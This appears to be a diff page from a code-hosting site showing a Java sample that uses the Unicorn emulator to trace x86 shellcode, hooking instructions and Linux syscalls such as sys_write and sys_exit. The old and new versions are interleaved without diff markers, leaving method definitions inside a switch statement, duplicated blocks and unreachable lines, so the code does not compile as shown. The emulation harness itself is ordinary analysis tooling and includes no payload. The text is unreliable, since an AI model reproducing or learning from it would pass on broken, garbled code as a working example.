System.out.print(String.format("*** EIP = %x ***: ", r_eip.intValue()));
|
||||
|
||||
size = Math.min(16, size);
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x1000000;
|
||||
|
||||
byte[] tmp = u.mem_read(address, size);
|
||||
for (int i = 0; i < tmp.length; i++) {
|
||||
System.out.print(String.format("%x ", 0xff & tmp[i]));
|
||||
}
|
||||
System.out.print("\n");
|
||||
}
|
||||
};
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public static class MyInterruptHook implements InterruptHook {
|
||||
public void hook(Unicorn u, int intno, Object user) {
|
||||
Long r_ecx;
|
||||
Long r_edx;
|
||||
int size;
|
||||
|
||||
// only handle Linux syscall
|
||||
if (intno != 0x80) {
|
||||
return;
|
||||
}
|
||||
|
||||
Long r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX);
|
||||
Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP);
|
||||
|
||||
switch (r_eax.intValue()) {
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte) (val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user) {
|
||||
|
||||
System.out.print(String.format(
|
||||
"Tracing instruction at 0x%x, instruction size = 0x%x\n",
|
||||
address, size));
|
||||
|
||||
Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP);
|
||||
System.out.print(
|
||||
String.format("*** EIP = %x ***: ", r_eip.intValue()));
|
||||
|
||||
size = Math.min(16, size);
|
||||
|
||||
byte[] tmp = u.mem_read(address, size);
|
||||
for (int i = 0; i < tmp.length; i++) {
|
||||
System.out.print(String.format("%x ", 0xff & tmp[i]));
|
||||
}
|
||||
System.out.print("\n");
|
||||
}
|
||||
};
|
||||
|
||||
public static class MyInterruptHook implements InterruptHook {
|
||||
public void hook(Unicorn u, int intno, Object user) {
|
||||
Long r_ecx;
|
||||
Long r_edx;
|
||||
int size;
|
||||
|
||||
// only handle Linux syscall
|
||||
if (intno != 0x80) {
|
||||
return;
|
||||
}
|
||||
|
||||
Long r_eax = (Long) u.reg_read(Unicorn.UC_X86_REG_EAX);
|
||||
Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP);
|
||||
|
||||
switch (r_eax.intValue()) {
|
||||
default:
|
||||
System.out.print(String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", r_eip.intValue(), intno, r_eax.intValue()));
|
||||
break;
|
||||
System.out.print(
|
||||
String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n",
|
||||
r_eip.intValue(), intno, r_eax.intValue()));
|
||||
break;
|
||||
case 1: // sys_exit
|
||||
System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", r_eip.intValue(), intno));
|
||||
u.emu_stop();
|
||||
break;
|
||||
System.out.print(String.format(
|
||||
">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n",
|
||||
r_eip.intValue(), intno));
|
||||
u.emu_stop();
|
||||
break;
|
||||
case 4: // sys_write
|
||||
// ECX = buffer address
|
||||
r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX);
|
||||
|
||||
// EDX = buffer size
|
||||
r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX);
|
||||
|
||||
// read the buffer in
|
||||
size = (int)Math.min(256, r_edx);
|
||||
|
||||
byte[] buffer = u.mem_read(r_ecx, size);
|
||||
System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n",
|
||||
r_eip.intValue(), intno, r_ecx.intValue(), r_edx.intValue(), new String(buffer)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
// ECX = buffer address
|
||||
r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX);
|
||||
|
||||
static void test_i386()
|
||||
{
|
||||
Long r_esp = ADDRESS + 0x200000L; // ESP register
|
||||
|
||||
System.out.print("Emulate i386 code\n");
|
||||
|
||||
// Initialize emulator in X86-32bit mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, X86_CODE32_SELF);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp);
|
||||
|
||||
// tracing all instructions by having @begin > @end
|
||||
u.hook_add(new MyCodeHook(), 1, 0, null);
|
||||
|
||||
// handle interrupt ourself
|
||||
u.hook_add(new MyInterruptHook(), null);
|
||||
|
||||
System.out.print("\n>>> Start tracing this Linux code\n");
|
||||
|
||||
// emulate machine code in infinite time
|
||||
// u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions
|
||||
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0);
|
||||
|
||||
System.out.print("\n>>> Emulation done.\n");
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
if (args.length == 1) {
|
||||
if ("-32".equals(args[0])) {
|
||||
test_i386();
|
||||
}
|
||||
} else {
|
||||
System.out.print("Syntax: java Shellcode <-32|-64>\n");
|
||||
}
|
||||
|
||||
}
|
||||
// EDX = buffer size
|
||||
r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX);
|
||||
|
||||
// read the buffer in
|
||||
size = (int) Math.min(256, r_edx);
|
||||
|
||||
byte[] buffer = u.mem_read(r_ecx, size);
|
||||
System.out.print(String.format(
|
||||
">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n",
|
||||
r_eip.intValue(), intno, r_ecx.intValue(),
|
||||
r_edx.intValue(), new String(buffer)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void test_i386() {
|
||||
Long r_esp = ADDRESS + 0x200000L; // ESP register
|
||||
|
||||
System.out.print("Emulate i386 code\n");
|
||||
|
||||
// Initialize emulator in X86-32bit mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, X86_CODE32_SELF);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp);
|
||||
|
||||
// tracing all instructions by having @begin > @end
|
||||
u.hook_add(new MyCodeHook(), 1, 0, null);
|
||||
|
||||
// handle interrupt ourself
|
||||
u.hook_add(new MyInterruptHook(), null);
|
||||
|
||||
System.out.print("\n>>> Start tracing this Linux code\n");
|
||||
|
||||
// emulate machine code in infinite time
|
||||
// u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions
|
||||
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0);
|
||||
|
||||
System.out.print("\n>>> Emulation done.\n");
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
if (args.length == 1) {
|
||||
if ("-32".equals(args[0])) {
|
||||
test_i386();
|
||||
}
|
||||
} else {
|
||||
System.out.print("Syntax: java Shellcode <-32|-64>\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user